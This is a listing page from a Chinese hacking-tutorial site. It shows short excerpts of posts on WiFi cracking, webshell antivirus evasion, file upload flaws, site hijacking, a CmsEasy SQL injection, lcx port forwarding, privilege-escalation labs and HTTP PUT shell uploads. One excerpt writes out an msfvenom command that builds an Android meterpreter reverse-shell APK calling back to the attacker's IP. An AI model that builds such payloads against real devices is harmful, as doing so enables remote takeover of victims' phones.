中文黑客网 - 黑客技术教程学习基地 - CNHACK - 中文黑客网

中文黑客网 发布于 4-9

一直准备找个时间来写个wifi破解教程，因为很多人都想学wifi破解，但是网上的教程都太乱，而且弄来弄错容易错，那是对于wifi破解的原理没有充分的认识，这次准备纯码字给大家通俗的讲解wifi破解，破解工具以aircrack-ng为例，这是一个很强大且具有代表性的工具，网上很多其他的破解工具都是基于aircrack-ng的。名词解释无线AP：发射...

阅读(4) 评论(0 )

中文黑客网 发布于 4-9

行动开始先查看kali的ip，我的是1.114 然后输入命令：msfvenom-pandroid/meterpreter/reverse_tcpLHOST=你kali的ipLPORT=5555R>/root/apk.apk5555是设置的端口，可以自己更改  显示这个说明已经生成成功了 然后启动msf...

阅读(11) 评论(0 )

中文黑客网 发布于 4-9

文件上传指将客户端数据以文件形式封装，通过网络协议发送到服务器端。在服务器端解析数据，最终在服务端硬盘上作为真实的文件保存。了解文件上传漏洞产生的原因，掌握漏洞的利用方法。预备知识1.  文件上传漏洞简介     通常web站点会有用户注册功能，而当用户登录之后大多数情况下会存...

阅读(2) 评论(0 )

中文黑客网 发布于 4-8

攻击者在入侵网站后，常常会通过恶意劫持流量来获取收益，从而实现流量变现。有一些黑帽劫持的手法堪称防不胜防，正常的访问行为很难发现异常。今天给大家分享一下常见的网站劫持手法和排查思路。我们可以按照基于不同隐藏目的的常见劫持手法，来做一个简单的分类：1、将爬虫与用户正常访问分开，实现搜索引擎快照劫持2、将移动端与PC端的访问分开，实现移动端的流量劫持...

阅读(14) 评论(0 ) 标签：网站劫持

中文黑客网 发布于 4-3

前言假期马上结束了，闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的，质量自以为还可以。目前此靶场已在vulnstack开源，下载链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/文中若有不当之处还请各位大佬多多点评我的博客：https://whoamianony...

阅读(37) 评论(0 )

中文黑客网 发布于 4-3

前言攻防演练里最重要的环节莫过于信息收集，熟话说，要想打点打得好，信息收集少不了。在各大公司招兵买马之际，各位师傅也来查缺补漏，信息收集你真的都会了嘛？搜索引擎这里我们使用fofa来举例，为什么使用fofa来举例呢，不是因为fofa有多好（真香），是因为咱只买了fofa的会员。fofa既可以搜索到部分子域名，也可以搜索到目标的各种系统，如OA、后...

阅读(30) 评论(0 )

中文黑客网 发布于 3-27

0x00：前言由于杀软的规则在不断更新所以很多之前的过杀软方法基本上都不行了而且随着php7逐渐扩张assert马也将被淘汰所以本文将提出几种免杀思路效果很好而且不会被杀软的正则和沙盒规则约束。0x01：自定义加密Bypass部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则比如某dir+比如这个都能被检测出是shel...

阅读(64) 评论(0 )

中文黑客网 发布于 3-21

一、漏洞简介二、漏洞影响CmsEasy7.3.8三、复现过程漏洞代码位于lib/admin/language_admin.php的add_action函数在测试后发现CmsEasyV7.3.8框架已经对SQLi进行了转义和过滤，包括（select、*、sleep等等），为了确定具体的过滤名单，从源码中查找检测函数但是经过一番搜索后，源码中发现实际...

阅读(42) 评论(0 )

中文黑客网 发布于 3-17

思维导图一.Windows（lcx）1.准备环境win7（web服务器）：有两块网卡，一块连接内网，一块连接外网内网ip：192.168.52.4外网ip:192.168.0.103winserver3（内网服务器）：只有内网一块网卡，win7能访问这个服务器内网：192.168.52.3win10咱们验证的机器将工具都拉进win7和win3中，...

阅读(61) 评论(0 )

中文黑客网 发布于 3-17

近期在学习Linux提权，完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩，但在获得shell后的提权过程中，表现很出色。提权题目设计的逻辑严谨（不会出现突然的脑洞让你卡住），注重基础知识的考察，要求的知识面也很广，涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、LinuxACL访问...

阅读(22) 评论(0 )

中文黑客网 发布于 3-17

今天分享的文章是对HTTPPUT方法开启漏洞的多种应用讲析，在实战场景中，首先我们要确定目标网站是否启用了HTTPPUT方法，如果启用的话，我们就可以结合多种利用工具和相关方法，向目标网站上传Meterpreter反弹shell，实现进一步的渗透控制。一起来看看。HTTPPUT方法介绍HTTPPUT方法最早目的用于文件管理操作，可以对网站服务器中...

阅读(26) 评论(0 )